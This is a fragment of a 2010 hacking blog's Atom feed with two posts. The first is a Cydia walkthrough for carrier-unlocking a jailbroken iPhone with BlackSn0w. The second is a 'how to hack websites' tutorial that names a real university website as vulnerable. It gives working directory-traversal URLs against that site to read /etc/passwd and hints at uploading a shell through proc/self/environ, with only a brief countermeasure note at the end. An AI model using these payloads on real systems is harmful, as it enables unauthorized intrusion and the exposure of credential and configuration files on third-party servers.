type='text'>How to Unlock the iPhone 3G, 3GS Using BlackSn0w</title><content type='html'>&lt;h3 class=&quot;post-title entry-title&quot;&gt; &lt;a href=&quot;http://hackguide4u.blogspot.com/2010/09/how-to-unlock-iphone-3g-3gs-using.html&quot;&gt;&lt;br /&gt;
&lt;/a&gt; &lt;/h3&gt;&lt;div class=&quot;post-header&quot;&gt;  &lt;/div&gt;&lt;b&gt;&lt;span class=&quot;smallbody&quot;&gt;These are instructions on how to unlock the   iPhone 3G and 3GS using BlackSn0w.  To follow these instructions you   must be on the 05.11.07 baseband and have already jailbroken.  &lt;br /&gt;
&lt;br /&gt;
If  you have not already jailbroken it will be easier to follow one of   these tutorials which will walk you through both jailbreaking and   unlocking.&lt;br /&gt;
&lt;a href=&quot;http://hackguide4u.blogspot.com/2010/09/how-to-jailbreak-your-iphone-3g-on-os.html&quot;&gt;- Windows&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://hackguide4u.blogspot.com/2010/09/how-to-jailbreak-your-iphone-3g-on-os_24.html&quot;&gt;- Mac&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://hackguide4u.blogspot.com/2010/09/how-to-find-firmware-and-baseband.html&quot;&gt;  To check your baseband you can follow these instructions.&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Lets begin...&lt;br /&gt;
&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;div style=&quot;background-color: white;&quot;&gt;&lt;b&gt;&lt;span class=&quot;smallbody&quot;&gt;&lt;a href=&quot;http://www.iclarified.com/player/desktopplayer.swf?enid=5900&amp;amp;meid=21671&quot; rel=&quot;shadowbox;width=720;height=482&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;167&quot; src=&quot;http://www.iclarified.com/images/entry/videothumb.png&quot; style=&quot;float: left; padding: 3px 20px 0px 3px;&quot; width=&quot;250&quot; /&gt;&lt;/a&gt;Watch the Video!&lt;br /&gt;
For your convenience this tutorial is available in video format also.  Click the Watch It button to view the tutorial!&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;span class=&quot;smallbody&quot;&gt;&lt;b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;/b&gt;&lt;b&gt;Step One&lt;br /&gt;
Press to launch &lt;i&gt;Cydia&lt;/i&gt; from your iPhone Springboard.&lt;br /&gt;
&lt;a href=&quot;http://www.iclarified.com/images/tutorials/5900/21642/21642.png&quot; rel=&quot;shadowbox[entry]&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; height=&quot;360&quot; src=&quot;http://www.iclarified.com/images/tutorials/5900/21642/21642.png&quot; width=&quot;240&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;/b&gt;&lt;b&gt;Step Two&lt;br /&gt;
Press to select &lt;i&gt;Manage&lt;/i&gt; from the tabs at the bottom of the screen.&lt;br /&gt;
&lt;a href=&quot;http://www.iclarified.com/images/tutorials/5900/21643/21643.png&quot; rel=&quot;shadowbox[entry]&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; height=&quot;360&quot; src=&quot;http://www.iclarified.com/images/tutorials/5900/21643/21643.png&quot; width=&quot;240&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;/b&gt;&lt;b&gt;Step Three&lt;br /&gt;
Press the large &lt;i&gt;Sources&lt;/i&gt; button.&lt;br /&gt;
&lt;a href=&quot;http://www.iclarified.com/images/tutorials/5900/21644/21644.png&quot; rel=&quot;shadowbox[entry]&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; height=&quot;360&quot; src=&quot;http://www.iclarified.com/images/tutorials/5900/21644/21644.png&quot; width=&quot;240&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;/b&gt;&lt;b&gt;Step Four&lt;br /&gt;
Press the &lt;i&gt;Edit&lt;/i&gt; button at the top right of the screen.&lt;br /&gt;
&lt;a href=&quot;http://www.iclarified.com/images/tutorials/5900/21645/21645.png&quot; rel=&quot;shadowbox[entry]&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; height=&quot;360&quot; src=&quot;http://www.iclarified.com/images/tutorials/5900/21645/21645.png&quot; width=&quot;240&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;/b&gt;&lt;b&gt;Step Five&lt;br /&gt;
Press the &lt;i&gt;Add&lt;/i&gt; button at the top left of the screen.&lt;br /&gt;
&lt;a href=&quot;http://www.iclarified.com/images/tutorials/5900/21646/21646.png&quot; rel=&quot;shadowbox[entry]&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; height=&quot;360&quot; src=&quot;http://www.iclarified.com/images/tutorials/5900/21646/21646.png&quot; width=&quot;240&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;/b&gt;&lt;b&gt;Step Six&lt;br /&gt;
Input &lt;i&gt;http://www.blackra1n.com&lt;/i&gt; as the source address then press the &lt;i&gt;Add Source&lt;/i&gt; button.  Once Cydia has added the source press the large &lt;i&gt;Return to Cydia&lt;/i&gt; button.&lt;br /&gt;
&lt;a href=&quot;http://www.iclarified.com/images/tutorials/5900/21647/21647.png&quot; rel=&quot;shadowbox[entry]&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; height=&quot;360&quot; src=&quot;http://www.iclarified.com/images/tutorials/5900/21647/21647.png&quot; width=&quot;240&quot; /&gt;&lt;/a&gt;&lt;a href=&quot;http://www.iclarified.com/images/tutorials/5900/21648/21648.png&quot; rel=&quot;shadowbox[entry]&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; height=&quot;360&quot; src=&quot;http://www.iclarified.com/images/tutorials/5900/21648/21648.png&quot; width=&quot;240&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;/b&gt;&lt;b&gt;Step Seven&lt;br /&gt;
Press the &lt;i&gt;Done&lt;/i&gt; button at the top right of the screen.&lt;br /&gt;
&lt;a href=&quot;http://www.iclarified.com/images/tutorials/5900/21649/21649.png&quot; rel=&quot;shadowbox[entry]&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; height=&quot;360&quot; src=&quot;http://www.iclarified.com/images/tutorials/5900/21649/21649.png&quot; width=&quot;240&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;/b&gt;&lt;b&gt;Step Eight&lt;br /&gt;
Press to select &lt;i&gt;blackra1n.com&lt;/i&gt; from the list of sources.&lt;br /&gt;
&lt;a href=&quot;http://www.iclarified.com/images/tutorials/5900/21650/21650.png&quot; rel=&quot;shadowbox[entry]&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; height=&quot;360&quot; src=&quot;http://www.iclarified.com/images/tutorials/5900/21650/21650.png&quot; width=&quot;240&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;/b&gt;&lt;b&gt;Step Nine&lt;br /&gt;
Press to select &lt;i&gt;blacksn0w&lt;/i&gt; from the list of packages.&lt;br /&gt;
&lt;a href=&quot;http://www.iclarified.com/images/tutorials/5900/21656/21656.png&quot; rel=&quot;shadowbox[entry]&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; height=&quot;360&quot; src=&quot;http://www.iclarified.com/images/tutorials/5900/21656/21656.png&quot; width=&quot;240&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;/b&gt;&lt;b&gt;Step Ten&lt;br /&gt;
Press the &lt;i&gt;Install&lt;/i&gt; button at the top right of the screen.&lt;br /&gt;
&lt;a href=&quot;http://www.iclarified.com/images/tutorials/5900/21657/21657.png&quot; rel=&quot;shadowbox[entry]&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; height=&quot;360&quot; src=&quot;http://www.iclarified.com/images/tutorials/5900/21657/21657.png&quot; width=&quot;240&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;/b&gt;&lt;b&gt;Step Eleven&lt;br /&gt;
Press the &lt;i&gt;Confirm&lt;/i&gt; button at the top right to begin installation.&lt;br /&gt;
&lt;a href=&quot;http://www.iclarified.com/images/tutorials/5900/21658/21658.png&quot; rel=&quot;shadowbox[entry]&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; height=&quot;360&quot; src=&quot;http://www.iclarified.com/images/tutorials/5900/21658/21658.png&quot; width=&quot;240&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;/b&gt;&lt;b&gt;Step Twelve&lt;br /&gt;
Once the unlock has been installed successfully press the large &lt;i&gt;Return to Cydia&lt;/i&gt; button.&lt;br /&gt;
&lt;a href=&quot;http://www.iclarified.com/images/tutorials/5900/21659/21659.png&quot; rel=&quot;shadowbox[entry]&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; height=&quot;360&quot; src=&quot;http://www.iclarified.com/images/tutorials/5900/21659/21659.png&quot; width=&quot;240&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;/b&gt;&lt;b&gt;Step Thirteen&lt;br /&gt;
Wait  a few minutes for your CommCenter to restart and you will now be  able  to use the SIM card of your choice on your unlocked iPhone!&lt;br /&gt;
&lt;a href=&quot;http://www.iclarified.com/images/tutorials/5900/21660/21660.png&quot; rel=&quot;shadowbox[entry]&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; height=&quot;360&quot; src=&quot;http://www.iclarified.com/images/tutorials/5900/21660/21660.png&quot; width=&quot;240&quot; /&gt;&lt;/a&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div style=&quot;color: white;&quot;&gt;&lt;span style=&quot;font-size: xx-small;&quot;&gt;....................................................................................................................................................................&lt;/span&gt;&lt;span style=&quot;font-size: xx-small;&quot;&gt;.................................................&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;color: white;&quot;&gt;&lt;span style=&quot;font-size: xx-small;&quot;&gt;....................................................................................................................................................................&lt;/span&gt;&lt;span style=&quot;font-size: xx-small;&quot;&gt;.................................................&lt;/span&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackeramit4u.blogspot.com/feeds/5218088783973209495/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://hackeramit4u.blogspot.com/2010/09/how-to-unlock-iphone-3g-3gs-using.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6112219237224679293/posts/default/5218088783973209495'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6112219237224679293/posts/default/5218088783973209495'/><link rel='alternate' type='text/html' href='http://hackeramit4u.blogspot.com/2010/09/how-to-unlock-iphone-3g-3gs-using.html' title='How to Unlock the iPhone 3G, 3GS Using BlackSn0w'/><author><name>Amit Hacker For You</name><uri>http://www.blogger.com/profile/01309230198947967799</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6112219237224679293.post-9203569730125979581</id><published>2010-09-30T03:50:00.000-07:00</published><updated>2010-09-30T03:50:33.160-07:00</updated><title type='text'>How to hack websites using LFI (Local File Inlcusion)</title><content type='html'>&lt;h3 class=&quot;post-title entry-title&quot;&gt;&amp;nbsp; &lt;a href=&quot;http://hackguide4u.blogspot.com/2010/09/how-to-hack-websites-using-lfi-local.html&quot;&gt;A Directory Transversal Attack&lt;/a&gt; &lt;/h3&gt;&lt;div class=&quot;post-header&quot;&gt;  &lt;/div&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;b&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhr96JepHwv8u7si9LiiIHw-EeklnbbpnN2mGNsnPJJVNFNDimMULLlALTzh3Kem6oBnqMJa1zPznP7n4rCiC9RfzwAT28IhGSnHiz7GWw0-x2dtZPsFWNUz2Hm4mbTumfZM3JQnQJ7zOU/s1600/index.jpeg&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhr96JepHwv8u7si9LiiIHw-EeklnbbpnN2mGNsnPJJVNFNDimMULLlALTzh3Kem6oBnqMJa1zPznP7n4rCiC9RfzwAT28IhGSnHiz7GWw0-x2dtZPsFWNUz2Hm4mbTumfZM3JQnQJ7zOU/s1600/index.jpeg&quot; /&gt;&lt;/a&gt;&lt;/b&gt;&lt;/div&gt;&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;What is root directory of web server ?&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
It is a specific directory on server in which the web contents are   placed and can be seen by website visitors. The directories other that   root may contain any sensitive data which administrator do not want   visitors to see. Everything accessible by visitor on a website is&amp;nbsp;   placed in root directory. The visitor can not step out of root   directory.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.blogger.com/post-edit.g?blogID=7438230220644688822&amp;amp;postID=6916806343119052578&quot; name=&quot;more&quot;&gt;&lt;/a&gt;&lt;/b&gt;   &lt;b&gt;what does ../ or ..\ (dot dot slash) mean&amp;nbsp; ? &lt;br /&gt;
&lt;br /&gt;
The ..\ instructs the system to go one directory up. For example, we are at this location &lt;/b&gt; &lt;b&gt;C:\xx\yy\zz. On typing ..\ , we would reach at C:\xx\yy.&lt;/b&gt; &lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;b&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVbdxtUEJljQnD6m-_i1ASExDt3XktozyiNx70zKNbJ0x_Nuw3OyCgFzQS2_RTatLQ_WSNWiEkkIaNts6EbVR4i1VEencecwVfD0wiSBgZdnhyphenhyphenXQnl7fIBO_JiXiqFro1oH_CNhOz1gmY/s1600/d1.jpg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVbdxtUEJljQnD6m-_i1ASExDt3XktozyiNx70zKNbJ0x_Nuw3OyCgFzQS2_RTatLQ_WSNWiEkkIaNts6EbVR4i1VEencecwVfD0wiSBgZdnhyphenhyphenXQnl7fIBO_JiXiqFro1oH_CNhOz1gmY/s1600/d1.jpg&quot; /&gt;&lt;/a&gt;&lt;/b&gt;&lt;/div&gt;&lt;b&gt;&lt;br /&gt;
Again on typing&lt;/b&gt;&lt;b&gt; ..\ , we would rech at &lt;/b&gt;&lt;b&gt;C:\xx .&amp;nbsp; &lt;br /&gt;
&lt;br /&gt;
Lets again go at locatio&lt;/b&gt; &lt;b&gt;n C:\xx\yy\zz. Now suppose we want to access a text file abc.txt placed in folder xx. We can type&lt;/b&gt;&lt;b&gt; ..\..\abc.txt . Typing ..\ two times would take us two directories up (that is to directory xx) where abc.txt is placed.&lt;br /&gt;
&lt;/b&gt;  &lt;b&gt;Note : Its ..\ on windows and ../ on UNIX like operating syatem.&lt;br /&gt;
&lt;/b&gt;  &lt;b&gt;What is Directory Transversel attack?&lt;br /&gt;
&lt;br /&gt;
Directory Traversal is an HTTP exploit which allows attackers to access   restricted directories and execute commands outside of the web server&#39;s   root directory.&lt;br /&gt;
&lt;br /&gt;
The goal of this attack is&amp;nbsp; to access sensitive files placed on web   server by stepping out of the root directory using dot dot slash .&lt;br /&gt;
&lt;br /&gt;
The following example will make clear everything&lt;br /&gt;
&lt;br /&gt;
Visit this website vulnerable to directory transversal attack&lt;br /&gt;
&lt;/b&gt;      &lt;br /&gt;
&lt;blockquote&gt;&lt;b&gt;http://www.chitkara.edu.in/chitkara/chitkarauniversity.php?page=notification.php&lt;/b&gt;&lt;/blockquote&gt;&lt;b&gt;&lt;br /&gt;
This webserver is running on UNIX like operating system. There is a   directory &#39;etc&#39; on unix/linux which contains configration files of   programs that run on system. Some of the files are   passwd,shadow,profile,sbin&amp;nbsp; placed in &#39;etc&#39; directory. &lt;br /&gt;
&lt;br /&gt;
The file&lt;/b&gt; &lt;b&gt; etc/passwd contain the login names of users and even passwords too.&lt;br /&gt;
&lt;br /&gt;
Lets try to access this file on webserver by stepping out of the root   directory. Carefully See the position of directories placed on the   webserver. &lt;/b&gt;  &lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;b&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9E43rBB8dhles7EXWMrpgd4XpaJZn5qpBpZjIkTBj8RzU_XlDQhsj5sa7Chs1ClIwTk2VxEOYH2JFluie7vklhPRVcGVeWy99a4HnP6h9_45SqZW3oHZGtWQGrT5vZVGK3-7Vib6TyBo/s1600/d2.jpg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;390&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9E43rBB8dhles7EXWMrpgd4XpaJZn5qpBpZjIkTBj8RzU_XlDQhsj5sa7Chs1ClIwTk2VxEOYH2JFluie7vklhPRVcGVeWy99a4HnP6h9_45SqZW3oHZGtWQGrT5vZVGK3-7Vib6TyBo/s400/d2.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/b&gt;&lt;/div&gt;&lt;b&gt;&lt;br /&gt;
We do not know the actual names and contents of directories except &#39;etc&#39; which is default name , So I have&lt;br /&gt;
marked them as A,B,C,E or whatever. &lt;br /&gt;
&lt;br /&gt;
We are in directory in F accessing the webpages of website. &lt;br /&gt;
&lt;a href=&quot;http://www.chitkara.edu.in/chitkara/chitkarauniversity.php?page=../etc/passwd&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;br /&gt;
&lt;/a&gt;&lt;br /&gt;
Lets type this in URL field and press enter&lt;br /&gt;
&lt;/b&gt;    &lt;br /&gt;
&lt;blockquote&gt;&lt;b&gt;http://www.chitkara.edu.in/chitkara/chitkarauniversity.php?page=etc/passwd&lt;/b&gt;&lt;/blockquote&gt;&lt;b&gt;&lt;br /&gt;
This will search the directory &#39;etc&#39; in F. But obviously, there is nothing like this in F, so it will return nothing&lt;br /&gt;
&lt;/b&gt;  &lt;b&gt;Now type&lt;/b&gt; &lt;br /&gt;
&lt;blockquote&gt;&lt;b&gt;http://www.chitkara.edu.in/chitkara/chitkarauniversity.php?page=../etc/passwd&lt;/b&gt;&lt;/blockquote&gt;&lt;b&gt;Now this will step up one directory (to directory E ) and look for &#39;etc&#39; but again it will return nothing.&lt;br /&gt;
&lt;/b&gt;  &lt;b&gt;Now type&lt;br /&gt;
&lt;/b&gt;  &lt;br /&gt;
&lt;blockquote&gt;&lt;b&gt;http://www.chitkara.edu.in/chitkara/chitkarauniversity.php?page=../../etc/passwd&lt;/b&gt;&lt;/blockquote&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;b&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPhO2UUZHjcjHUnsLff3-G6gcWaqH_bQVICI5eacXD6iqqMrrwTGmfgA1nFWdZkL8AayXPrDEHGX8aBJMVEspp3AZWjhZ_Uexn9Xr1lp-acPRxzXcD75ruzAPstrdeZUoTJoa7kFak5GU/s1600/d3.jpg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;br /&gt;
&lt;/a&gt;&lt;/b&gt;&lt;/div&gt;&lt;b&gt;Now this will step up two directories&lt;/b&gt;&lt;b&gt; (to directory D ) and look for &#39;etc&#39; but again it will return nothing.&lt;br /&gt;
&lt;br /&gt;
So by proceeding like this, we we go for this URL &lt;/b&gt;  &lt;br /&gt;
&lt;blockquote&gt;&lt;b&gt;http://www.chitkara.edu.in/chitkara/chitkarauniversity.php?page=../../../../../etc/passwd &lt;/b&gt;&lt;/blockquote&gt;&lt;b&gt;&lt;br /&gt;
It takes us 5 directories up to the main drive and then to &#39;&lt;/b&gt;&lt;b&gt;etc&#39; directory and show us contents of &#39;&lt;/b&gt;&lt;b&gt;passwd&#39; file.&lt;br /&gt;
To understand the contents of &#39;passwd&#39; file, visit http://www.cyberciti.biz/faq/understanding-etcpasswd-file-format&lt;br /&gt;
&lt;/b&gt;  &lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;b&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizQcowTo3sX-x5PVR2Kq5YognB0ZV58R8nGmMBmqlvojCQNrMr-NY5_d6je_BnUK5ohp0xe5GGl3OtrA8l7i19u9238wUvtxd7uF5sS465PFaZO8Lovo0ZWNrSqpK7-duhqh6wtSeXiBE/s1600/d3.jpg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;367&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizQcowTo3sX-x5PVR2Kq5YognB0ZV58R8nGmMBmqlvojCQNrMr-NY5_d6je_BnUK5ohp0xe5GGl3OtrA8l7i19u9238wUvtxd7uF5sS465PFaZO8Lovo0ZWNrSqpK7-duhqh6wtSeXiBE/s400/d3.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/b&gt;&lt;/div&gt;&lt;b&gt;&lt;br /&gt;
You can also view&lt;/b&gt;&lt;b&gt; etc/profile ,etc/services and many others files   like backup files which may contain sensitive data. Some files like   etc/shadow may be not be accessible because they are accesible only by   privileged users.&lt;br /&gt;
&lt;/b&gt;  &lt;b&gt;Note- If proc/self/environ would be accessible, you might upload a shell on server which is called as Local File Inclusion.&lt;br /&gt;
&lt;/b&gt;  &lt;b&gt;Counter Measures&lt;br /&gt;
&lt;/b&gt;  &lt;b&gt;1. Use the latest web server software&lt;/b&gt; &lt;b&gt;2. Effectively filter the user&#39;s input&lt;/b&gt;&lt;br /&gt;
&lt;div style=&quot;color: white;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: xx-small;&quot;&gt;.................................................................   .....................................................................................................................................................&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackeramit4u.blogspot.com/feeds/9203569730125979581/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://hackeramit4u.blogspot.com/2010/09/how-to-hack-websites-using-lfi-local.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6112219237224679293/posts/default/9203569730125979581'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6112219237224679293/posts/default/9203569730125979581'/><link rel='alternate' type='text/html' href='http://hackeramit4u.blogspot.com/2010/09/how-to-hack-websites-using-lfi-local.html' title='How to hack websites using LFI (Local File Inlcusion)'/><author><name>Amit Hacker For You</name><uri>http://www.blogger.com/profile/01309230198947967799</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhr96JepHwv8u7si9LiiIHw-EeklnbbpnN2mGNsnPJJVNFNDimMULLlALTzh3Kem6oBnqMJa1zPznP7n4rCiC9RfzwAT28IhGSnHiz7GWw0-x2dtZPsFWNUz2Hm4mbTumfZM3JQnQJ7zOU/s72-c/index.jpeg" height="72" width="72"/><thr:total>0</thr:total></entry></feed>